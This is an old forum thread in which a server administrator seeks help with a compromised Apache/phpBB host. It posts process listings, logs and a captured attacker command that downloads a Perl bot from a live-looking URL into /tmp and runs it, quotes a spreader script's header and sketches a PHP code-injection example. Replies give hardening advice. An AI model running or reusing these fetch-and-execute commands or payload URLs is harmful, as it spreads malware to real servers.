# Still having Issues with Apache security, need more advice

## Sunthief

Hi all, I had some issues about 3 weeks ago with some security hole somewhere, be it phpbb or Apache itself.  I took measures to try to prevent the issues from happening but it seems they have come back, just more sneaky.  Here's some info:

```

 $ top

top - 13:22:40 up 8 days, 13:58,  1 user,  load average: 2.32, 2.00, 1.71

Tasks:  99 total,   4 running,  95 sleeping,   0 stopped,   0 zombie

Cpu(s):  93.5% user,   6.5% system,   0.0% nice,   0.0% idle

Mem:   2066992k total,   905384k used,  1161608k free,   315136k buffers

Swap:   998928k total,        0k used,   998928k free,   102952k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND                                                          

 6069 nobody    17   0  3832 3824 2104 R 67.3  0.2  10:48.41 perl                                                             

 5919 nobody    17   0  3840 3832 2104 R 66.0  0.2  21:50.27 perl                                                             

 6099 nobody    19   0  3840 3832 2112 R 64.1  0.2  10:56.45 perl                                                             

 6221 root      14   0  1408 1408 1104 R  2.0  0.1   0:00.18 top                                                              

 6155 nicholai   9   0  2608 2600 2400 S  0.3  0.1   0:00.18 sshd                                                             

    1 root       8   0   688  688  608 S  0.0  0.0   0:19.98 init                                                             

    2 root       9   0     0    0    0 S  0.0  0.0   0:00.01 keventd                                                          

    3 root      19  19     0    0    0 S  0.0  0.0   0:01.31 ksoftirqd_CPU0                                                   

    4 root      19  19     0    0    0 S  0.0  0.0   0:00.02 ksoftirqd_CPU1                                                   

    5 root       9   0     0    0    0 S  0.0  0.0   0:00.33 kswapd                                                           

    6 root       9   0     0    0    0 S  0.0  0.0   0:00.00 bdflush                                                          

    7 root       9   0     0    0    0 S  0.0  0.0   0:02.53 kupdated                                                         

    9 root       9   0     0    0    0 S  0.0  0.0   0:00.00 scsi_eh_0                                                        

   10 root       9   0     0    0    0 S  0.0  0.0   0:00.00 scsi_eh_1                                                        

   11 root      -1 -20     0    0    0 S  0.0  0.0   0:00.00 mdrecoveryd                                                      

   12 root      -1 -20     0    0    0 S  0.0  0.0   0:00.00 raid1d                                                           

   13 root      -1 -20     0    0    0 S  0.0  0.0   0:00.00 raid1d                                                           

   14 root      -1 -20     0    0    0 S  0.0  0.0   0:00.00 raid1d                                                           

   15 root      -1 -20     0    0    0 S  0.0  0.0   0:00.00 raid1d                                                           

   16 root       9   0     0    0    0 S  0.0  0.0   0:00.25 kjournald                                                        

   43 root       9   0  1336 1336  856 S  0.0  0.1   0:00.02 devfsd                                                           

  136 root      -1 -20     0    0    0 S  0.0  0.0   0:07.02 raid5d                                                           

  147 root       9   0     0    0    0 S  0.0  0.0   0:00.00 kjournald                                                        

  148 root       9   0     0    0    0 S  0.0  0.0   0:04.94 kjournald                                                        

  149 root       9   0     0    0    0 S  0.0  0.0   0:02.66 kjournald                                                        

  152 root       9   0     0    0    0 S  0.0  0.0   0:00.27 loop0                                                            

  153 root       9   0     0    0    0 S  0.0  0.0   0:00.09 kjournald                                                        

  669 root       9   0   824  824  728 S  0.0  0.0   0:04.46 metalog                                                          

  670 root       9   0   712  712  664 S  0.0  0.0   0:01.15 metalog                                                          

 1484 root       9   0  1568 1568 1328 S  0.0  0.1   0:00.08 mysqld_safe                                                      

 1558 mysql      9   0 28472  27m 4848 S  0.0  1.4   0:03.14 mysqld                                                           

 1603 root       9   0  2016 2016 1648 S  0.0  0.1   0:00.66 sshd                                                             

 1615 mysql      8   0 28472  27m 4848 S  0.0  1.4   0:03.44 mysqld                                                           

 1616 mysql      9   0 28472  27m 4848 S  0.0  1.4   0:00.00 mysqld                                                           

 1617 mysql      9   0 28472  27m 4848 S  0.0  1.4   0:00.00 mysqld                                                           

 1618 mysql      9   0 28472  27m 4848 S  0.0  1.4   0:00.02 mysqld                                                           

 1619 mysql      9   0 28472  27m 4848 S  0.0  1.4   0:00.00 mysqld                                                           

 $ ps -aux

Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html

USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND

root         1  0.0  0.0   1568   688 ?        S    Mar04   0:19 init [3]  

root         2  0.0  0.0      0     0 ?        S    Mar04   0:00 [keventd]

root         3  0.0  0.0      0     0 ?        SN   Mar04   0:01 [ksoftirqd_CPU0]

root         4  0.0  0.0      0     0 ?        SN   Mar04   0:00 [ksoftirqd_CPU1]

root         5  0.0  0.0      0     0 ?        S    Mar04   0:00 [kswapd]

root         6  0.0  0.0      0     0 ?        S    Mar04   0:00 [bdflush]

root         7  0.0  0.0      0     0 ?        S    Mar04   0:02 [kupdated]

root         9  0.0  0.0      0     0 ?        S    Mar04   0:00 [scsi_eh_0]

root        10  0.0  0.0      0     0 ?        S    Mar04   0:00 [scsi_eh_1]

root        11  0.0  0.0      0     0 ?        S<   Mar04   0:00 [mdrecoveryd]

root        12  0.0  0.0      0     0 ?        S<   Mar04   0:00 [raid1d]

root        13  0.0  0.0      0     0 ?        S<   Mar04   0:00 [raid1d]

root        14  0.0  0.0      0     0 ?        S<   Mar04   0:00 [raid1d]

root        15  0.0  0.0      0     0 ?        S<   Mar04   0:00 [raid1d]

root        16  0.0  0.0      0     0 ?        S    Mar04   0:00 [kjournald]

root        43  0.0  0.0   2432  1336 ?        Ss   Mar04   0:00 /sbin/devfsd /dev

root       136  0.0  0.0      0     0 ?        S<   Mar04   0:07 [raid5d]

root       147  0.0  0.0      0     0 ?        S    Mar04   0:00 [kjournald]

root       148  0.0  0.0      0     0 ?        S    Mar04   0:04 [kjournald]

root       149  0.0  0.0      0     0 ?        S    Mar04   0:02 [kjournald]

root       152  0.0  0.0      0     0 ?        S    Mar04   0:00 [loop0]

root       153  0.0  0.0      0     0 ?        S    Mar04   0:00 [kjournald]

root       669  0.0  0.0   1848   824 ?        Ss   Mar04   0:04 metalog [MASTER]                                     

root       670  0.0  0.0   1800   712 ?        S    Mar04   0:01 metalog [KERNEL]                                     

root      1484  0.0  0.0   2840  1568 ?        Ss   Mar04   0:00 /bin/sh /usr/bin/mysqld_safe --defaults-file=/etc/mysql/my.cn

mysql     1558  0.0  1.3  81880 28472 ?        S    Mar04   0:03 /usr/sbin/mysqld --defaults-file=/etc/mysql/my.cnf --basedir=

root      1603  0.0  0.0   4440  2016 ?        Ss   Mar04   0:00 /usr/sbin/sshd -o PidFile=/var/run/sshd.pid

mysql     1615  0.0  1.3  81880 28472 ?        S    Mar04   0:03 /usr/sbin/mysqld --defaults-file=/etc/mysql/my.cnf --basedir=

mysql     1616  0.0  1.3  81880 28472 ?        S    Mar04   0:00 /usr/sbin/mysqld --defaults-file=/etc/mysql/my.cnf --basedir=

mysql     1617  0.0  1.3  81880 28472 ?        S    Mar04   0:00 /usr/sbin/mysqld --defaults-file=/etc/mysql/my.cnf --basedir=

mysql     1618  0.0  1.3  81880 28472 ?        S    Mar04   0:00 /usr/sbin/mysqld --defaults-file=/etc/mysql/my.cnf --basedir=

mysql     1619  0.0  1.3  81880 28472 ?        S    Mar04   0:00 /usr/sbin/mysqld --defaults-file=/etc/mysql/my.cnf --basedir=

mysql     1620  0.0  1.3  81880 28472 ?        S    Mar04   0:07 /usr/sbin/mysqld --defaults-file=/etc/mysql/my.cnf --basedir=

mysql     1621  0.0  1.3  81880 28472 ?        S    Mar04   0:05 /usr/sbin/mysqld --defaults-file=/etc/mysql/my.cnf --basedir=

mysql     1622  0.0  1.3  81880 28472 ?        S    Mar04   0:00 /usr/sbin/mysqld --defaults-file=/etc/mysql/my.cnf --basedir=

mysql     1623  0.0  1.3  81880 28472 ?        S    Mar04   0:05 /usr/sbin/mysqld --defaults-file=/etc/mysql/my.cnf --basedir=

clamav    1675  0.0  0.5  12344 10408 ?        Ss   Mar04   0:00 /usr/sbin/clamd

clamav    1677  0.0  0.0   3632  1472 ?        Ss   Mar04   0:00 /usr/bin/freshclam -d

root      1718  0.0  0.0   1552   616 ?        S    Mar04   0:00 /usr/sbin/courierlogger -pid=/var/run/authdaemon.pid -start /

root      1719  0.0  0.0   2272   840 ?        S    Mar04   0:00 /usr/lib/courier/courier-authlib/authdaemond

root      1728  0.0  0.0   2752  1088 ?        S    Mar04   0:02 /usr/lib/courier/courier-authlib/authdaemond

root      1729  0.0  0.0   2752  1088 ?        S    Mar04   0:03 /usr/lib/courier/courier-authlib/authdaemond

root      1730  0.0  0.0   2752  1088 ?        S    Mar04   0:02 /usr/lib/courier/courier-authlib/authdaemond

root      1731  0.0  0.0   2752  1088 ?        S    Mar04   0:03 /usr/lib/courier/courier-authlib/authdaemond

root      1732  0.0  0.0   2752  1088 ?        S    Mar04   0:03 /usr/lib/courier/courier-authlib/authdaemond

root      1772  0.0  0.0   1776   728 ?        S    Mar04   0:00 /usr/lib/courier-imap/couriertcpd -address=0 -stderrlogger=/u

root      1774  0.0  0.0   1560   608 ?        S    Mar04   0:00 /usr/lib/courier-imap/courierlogger imapd

root      1822  0.0  0.0   1776   728 ?        S    Mar04   0:01 /usr/lib/courier-imap/couriertcpd -address=0 -stderrlogger=/u

root      1824  0.0  0.0   1560   608 ?        S    Mar04   0:00 /usr/lib/courier-imap/courierlogger pop3d

root      1861  0.0  0.2  10000  5808 ?        S    Mar04   0:05 /usr/bin/python /usr/bin/denyhosts --daemon -c /etc/denyhosts

root      1970  0.0  0.0   1616   720 ?        S    Mar04   0:24 /sbin/mdadm --monitor --scan

root      2065  0.0  1.0  25648 22224 ?        Ss   Mar04   0:03 /usr/sbin/spamd -d -r /var/run/spamd.pid -m 5 -c -H

root      2119  0.0  0.1   7744  2184 ?        Ss   Mar04   0:05 /usr/lib/postfix/master

postfix   2130  0.0  0.1   7824  2240 ?        S    Mar04   0:00 qmgr -l -t fifo -u

root      2158  0.0  0.0   2256  1040 ?        Ss   Mar04   0:00 /usr/sbin/cron

root      2182  0.0  0.0   1920   952 tts/0    Ss+  Mar04   0:09 /sbin/agetty 9600 ttyS0 vt100

root      2189  0.0  1.0  25648 22224 ?        S    Mar04   0:00 spamd child

root      2190  0.0  1.0  25648 22224 ?        S    Mar04   0:00 spamd child

root     16324  0.0  0.0   3768  1608 ?        Ss   Mar08   0:00 /usr/sbin/vsftpd /etc/vsftpd/vsftpd.conf

mysql     3867  0.0  1.3  81880 28472 ?        S    05:34   0:00 /usr/sbin/mysqld --defaults-file=/etc/mysql/my.cnf --basedir=

mysql     4345  0.0  1.3  81880 28472 ?        S    07:41   0:00 /usr/sbin/mysqld --defaults-file=/etc/mysql/my.cnf --basedir=

mysql     4367  0.0  1.3  81880 28472 ?        S    07:41   0:00 /usr/sbin/mysqld --defaults-file=/etc/mysql/my.cnf --basedir=

mysql     4436  0.0  1.3  81880 28472 ?        S    07:46   0:00 /usr/sbin/mysqld --defaults-file=/etc/mysql/my.cnf --basedir=

mysql     4612  0.0  1.3  81880 28472 ?        S    08:17   0:00 /usr/sbin/mysqld --defaults-file=/etc/mysql/my.cnf --basedir=

mysql     4689  0.0  1.3  81880 28472 ?        S    08:41   0:00 /usr/sbin/mysqld --defaults-file=/etc/mysql/my.cnf --basedir=

postfix   5536  0.0  0.1   7776  2176 ?        S    11:49   0:00 pickup -l -t fifo -u

mysql     5800  0.0  1.3  81880 28472 ?        S    12:47   0:00 /usr/sbin/mysqld --defaults-file=/etc/mysql/my.cnf --basedir=

nobody    5870  0.0  0.1   6144  3800 ?        S    12:48   0:00 /usr/sbin/proftpd   

nobody    5873  0.0  0.1   6144  3800 ?        S    12:48   0:00 /usr/sbin/proftpd   

nobody    5899  0.0  0.1   6144  3808 ?        S    12:48   0:00 /usr/sbin/proftpd   

nobody    5902  0.0  0.1   6144  3808 ?        S    12:48   0:00 /usr/sbin/proftpd   

nobody    5910  0.0  0.1   6144  3808 ?        S    12:48   0:00 /usr/sbin/proftpd   

nobody    5914  0.0  0.1   6144  3800 ?        S    12:48   0:00 /usr/sbin/proftpd   

nobody    5919 64.3  0.1   6144  3832 ?        R    12:48  21:53 /usr/sbin/httpd   

nobody    5924  0.0  0.1   6144  3800 ?        S    12:48   0:00 /usr/sbin/proftpd   

nobody    5930  0.0  0.1   6144  3800 ?        S    12:48   0:00 /usr/sbin/proftpd   

nobody    5941  0.0  0.1   6144  3800 ?        S    12:48   0:00 /usr/sbin/proftpd   

nobody    5946  0.0  0.1   6144  3800 ?        S    12:48   0:00 /usr/sbin/proftpd   

nobody    5959  0.0  0.1   6144  3800 ?        S    12:48   0:00 /usr/sbin/proftpd   

nobody    5963  0.0  0.1   6144  3800 ?        S    12:48   0:00 /usr/sbin/proftpd   

nobody    5965  0.0  0.1   6144  3800 ?        S    12:48   0:00 /usr/sbin/proftpd   

nobody    5974  0.0  0.1   6144  3800 ?        S    12:48   0:00 /usr/sbin/proftpd   

nobody    5976  0.0  0.1   6144  3800 ?        S    12:48   0:00 /usr/sbin/proftpd   

nobody    5981  0.0  0.1   6144  3800 ?        S    12:49   0:00 /usr/sbin/proftpd   

nobody    5985  0.0  0.1   6144  3800 ?        S    12:49   0:00 /usr/sbin/proftpd   

nicholai  6023  0.0  0.0   3056  1056 ?        S    12:58   0:00 /usr/sbin/courier-imapd .maildir

mysql     6058  0.0  1.3  81880 28472 ?        S    13:01   0:00 /usr/sbin/mysqld --defaults-file=/etc/mysql/my.cnf --basedir=

nobody    6069 52.0  0.1   6144  3824 ?        R    13:01  10:51 /usr/sbin/httpd   

mysql     6093  0.0  1.3  81880 28472 ?        S    13:02   0:00 /usr/sbin/mysqld --defaults-file=/etc/mysql/my.cnf --basedir=

nobody    6099 53.9  0.1   6144  3832 ?        R    13:02  10:59 /usr/sbin/httpd   

root      6150  0.0  0.1   7840  2520 ?        Ss   13:21   0:00 sshd: nicholai [priv]                         

nicholai  6155  0.2  0.1   7840  2600 ?        S    13:21   0:00 sshd: nicholai@pts/1                          

nicholai  6156  0.0  0.0   2848  1768 pts/1    Ss   13:21   0:00 -bash

postfix   6166  0.0  0.1   8008  2664 ?        S    13:21   0:00 cleanup -z -t unix -u

postfix   6167  0.0  0.1   7784  2168 ?        S    13:21   0:00 trivial-rewrite -n rewrite -t unix -u

postfix   6168  0.0  0.1   7880  2368 ?        S    13:21   0:00 smtp -t unix -u

root      6174  0.0  0.0   3432  1432 pts/1    S    13:21   0:00 su

root      6176  0.0  0.0   2848  1792 pts/1    S    13:21   0:00 bash

root      6222  0.0  0.0   2920  1160 pts/1    R+   13:22   0:00 ps -aux

```

As you can see the top command shows Perl using up most of the CPU usage but the ps-aux command shows it being used by Apache.  I had to manually kill the processes to stop the Perl scripts from running.  And just like last time I look in the /tmp directory there I find malicious code.  I will post the code next.  

Things I've tried are, running apache as nobody.  makeing /tmp noexec.  How r they running perl as nobody???  How r they uploading the files to my /tmp file???  The logs are painfull to look at since there is so many attack attempts how does one actually find the actual attack that suceeded and stop it??

Heres a link to a site that one of the perl scripts was going too.

http://www.webxprt.com/orders/inc/lol.txt

Very friendly people out there huh!

Anyway does anyone have and apache servers they run that havnt had any issues liek this that dont sacrafice all the capabilities, like php, phpbb, etc??  Is there any software that will run on a sun that can keep an eye out for this kind of stuff and stop it?

Thanks

----------

## Sunthief

ok heres some new logs, I actually caught it happeneing.

```
sunsquared /var/log/apache2 $ tail -n 100 error_log                                                                                                                  

    0K .......... ........                                   100% 27.0K       

13:02:23 (26.98 KB/s) - `/tmp/.mladen2' saved [19341/19341]

[Mon Mar 13 13:22:12 2006] [notice] caught SIGTERM, shutting down

[Mon Mar 13 13:50:35 2006] [notice] Digest: generating secret for digest authentication ...

[Mon Mar 13 13:50:35 2006] [notice] Digest: done

[Mon Mar 13 13:50:36 2006] [notice] Apache configured -- resuming normal operations

--13:51:58--  http://elita-press.co.yu/linuxday.txt

           => `/tmp/.mladen'

Resolving elita-press.co.yu... 194.9.94.7

Connecting to elita-press.co.yu|194.9.94.7|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 3,516 (3.4K) [text/plain]

    0K ...                                                   100% 16.2K       

13:52:00 (16.12 KB/s) - `/tmp/.mladen' saved [3516/3516]

--13:52:08--  http://www.elita-press.co.yu/linuxdaybot.txt

           => `/tmp/.mladen2'

Resolving www.elita-press.co.yu... 194.9.94.7

Connecting to www.elita-press.co.yu|194.9.94.7|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 19,341 (19K) [text/plain]

    0K .......... ........                                   100% 16.5K       

13:52:11 (16.45 KB/s) - `/tmp/.mladen2' saved [19341/19341]

[Mon Mar 13 13:54:02 2006] [error] [client 72.30.110.37] File does not exist: /var/www/girlguides/robots.txt

--14:16:41--  http://www.elita-press.co.yu/linuxdaybot.txt

           => `/tmp/.mladen2'

Resolving www.elita-press.co.yu... 194.9.94.7

Connecting to www.elita-press.co.yu|194.9.94.7|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 19,341 (19K) [text/plain]

    0K .......... ........                                   100% 3.60K       

14:16:50 (3.60 KB/s) - `/tmp/.mladen2' saved [19341/19341]

--14:17:02--  http://www.elita-press.co.yu/linuxdaybot.txt

           => `/tmp/.mladen2'

Resolving www.elita-press.co.yu... 194.9.94.7

Connecting to www.elita-press.co.yu|194.9.94.7|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 19,341 (19K) [text/plain]

    0K .......... ........                                   100% 5.01K       

14:17:06 (5.01 KB/s) - `/tmp/.mladen2' saved [19341/19341]

--14:17:23--  http://www.elita-press.co.yu/linuxdaybot.txt

           => `/tmp/.mladen2'

Resolving www.elita-press.co.yu... 194.9.94.7

Connecting to www.elita-press.co.yu|194.9.94.7|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 19,341 (19K) [text/plain]

    0K .......... ........                                   100% 3.08K       

utime(/tmp/.mladen2): No such file or directory

14:17:37 (3.08 KB/s) - `/tmp/.mladen2' saved [19341/19341]

Can't open perl script "/tmp/.mladen2": No such file or directory

--14:17:37--  http://www.elita-press.co.yu/linuxdaybot.txt

           => `/tmp/.mladen2'

Resolving www.elita-press.co.yu... 194.9.94.7

Connecting to www.elita-press.co.yu|194.9.94.7|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 19,341 (19K) [text/plain]

    0K .......... ........                                   100% 2.92K       

14:17:44 (2.92 KB/s) - `/tmp/.mladen2' saved [19341/19341]

--14:18:17--  http://www.elita-press.co.yu/linuxdaybot.txt

           => `/tmp/.mladen2'

Resolving www.elita-press.co.yu... 194.9.94.7

Connecting to www.elita-press.co.yu|194.9.94.7|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 19,341 (19K) [text/plain]

    0K .......... ........                                   100% 28.1K       

14:18:18 (28.09 KB/s) - `/tmp/.mladen2' saved [19341/19341]

--14:18:25--  http://www.elita-press.co.yu/linuxdaybot.txt

           => `/tmp/.mladen2'

Resolving www.elita-press.co.yu... 194.9.94.7

Connecting to www.elita-press.co.yu|194.9.94.7|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 19,341 (19K) [text/plain]

    0K .......... ........                                   100% 26.8K       

14:18:29 (26.82 KB/s) - `/tmp/.mladen2' saved [19341/19341]

```

To me it almost looks like apache itself is downloading the file....  What is hapeneing???

----------

## Sunthief

OK every time i kill the code and restart Apache it does this really quick

```
nobody    2327  0.1  0.0   2832  1464 ?        S    14:16   0:00 sh -c wget http://www.elita-press.co.yu/linuxdaybot.txt -O /tmp/.mladen2; perl /tmp/.mladen2; touch /tmp/.mladen3

nobody    2328  0.1  0.0   4592  1856 ?        S    14:16   0:00 wget http://www.elita-press.co.yu/linuxdaybot.txt -O /tmp/.mladen2

```

then it turns the process over to httpd, but I have no idea how....  Managed to catch that on a ps right when it was switching over.

----------

## Truzzone

 *Sunthief wrote:*   

> OK every time i kill the code and restart Apache it does this really quick
> 
> ```
> nobody    2327  0.1  0.0   2832  1464 ?        S    14:16   0:00 sh -c wget http://www.elita-press.co.yu/linuxdaybot.txt -O /tmp/.mladen2; perl /tmp/.mladen2; touch /tmp/.mladen3
> 
> ...

 

Hi,

I have the same problem with perl, 3 process with high cpu usage from apache I kill perl and httpd and restart apache, but after some hours the cpu usage is 100%   :Evil or Very Mad: 

On tmp I haven't any malicious file.

When the processes are running what is the command for find the script and the backdoor?   :Question: 

Best regards,

Truzzone   :Sad: 

----------

## uweklosa

Which versions of Apache and perl are you using?

Did you run rkhunter or chkrootkit?

----------

## Truzzone

```
 emerge -pv apache perl

These are the packages that would be merged, in order:

Calculating dependencies... done!

[ebuild   R   ] net-www/apache-2.0.58-r2  USE="apache2 mpm-worker ssl threads -debug -doc -ldap -mpm-itk -mpm-leader -mpm-peruser -mpm-prefork -mpm-threadpool -no-suexec -static-modules" 0 kB

[ebuild   R   ] dev-lang/perl-5.8.8-r2  USE="berkdb perlsuid -build -debug -doc -gdbm -ithreads" 0 kB

```

and chkrootkit nothing found and rkhunter:

0 vulnerable applications found

Other command that launch, at now the three perl after killed all I not re-see on top.

Best regards,

Truzzone   :Sad: 

----------

## Truzzone

Now I check the server and have one process named perl from apache.

I find a malicious file on my  /tmp:

 *Quote:*   

> ping.pl
> 
> #!/usr/bin/perl
> 
> # this spreader is coded by xdh
> ...

 

unknown file: brk2, kmx, loc, ptrace24, mmap2, mremap2, mremap_pte, smp, su, tshd, w00t all of group apache

What is the method of intruders for write this files and execute?   :Question: 

Best regards,

Truzzone   :Sad: 

----------

## Janne Pikkarainen

The most typical attack vector for this kind of attacks is this:

- Some web page allows user to upload stuff via some form. The input is not validated, so one can upload whatever needed for haxoring, such as some shell script.

- Then some other, or maybe the same web page allows one to pass PHP/Perl/whatever code via GET or POST parameters, like http://yourserver.com/script.php?foo=<?php system("some_previously_uploaded_script")?>. 

- The script get executed with whatever permissions Apache has. Typically this kind of script leeches some other script from the Internet and spawns some daemon to background, giving the attacker a backdoor to your system.

Most of these attacks can be prevented -- or at least make them far more difficult -- with couple of steps:

- Mount your /tmp, or whereever http uploads are going to, with noexec flag.

- Disable at least the following PHP functions if not really needed: system, passthru, exec, shell_exec.

- chroot your Apache and do not give it any extra libraries or binaries in it chroot jail.

- Put up a firewall - it can be anything from a real hardware firewall to iptables. Anyway, disable input access to unneeded ports. Also be sure outgoing connections are limited to minimum.

----------

## uweklosa

In addition to Janne's recommendations you could install mod_security and observer what's happen and try to block them with mod_security http://www.modsecurity.org/

----------

## Princess Nell

 *Janne Pikkarainen wrote:*   

> 
> 
> - Put up a firewall - it can be anything from a real hardware firewall to iptables. Anyway, disable input access to unneeded ports. Also be sure outgoing connections are limited to minimum.
> 
> 

 

A firewall does nothing to protect the application layer, the application port is not "unneeded" by definition.

OP should google the hell out of "apache security" and build a new box off-line, then transfer the content, maybe using a memory stick

and intermediary virtual machine for inspection, to be on the safe side.

Of course, all other pro-firewall arguments do apply. Blocking outgoing to port 80 would have helped in this case, it seems  :Smile: 

----------

## Janne Pikkarainen

 *Princess Nell wrote:*   

> A firewall does nothing to protect the application layer, the application port is not "unneeded" by definition.
> 
> 

 

Well... I still like to think that security is like onion, it is a stack of layers. If a successfully installed backdoor tries to bind itself to (for example) port 6666 and it happens to be firewalled, an attacker still can't control your machine. Yeah, reverse tunnels and all that stuff do exist, but every detail that makes a successful attack unsuccessful, is a good detail.  :Smile: 

----------

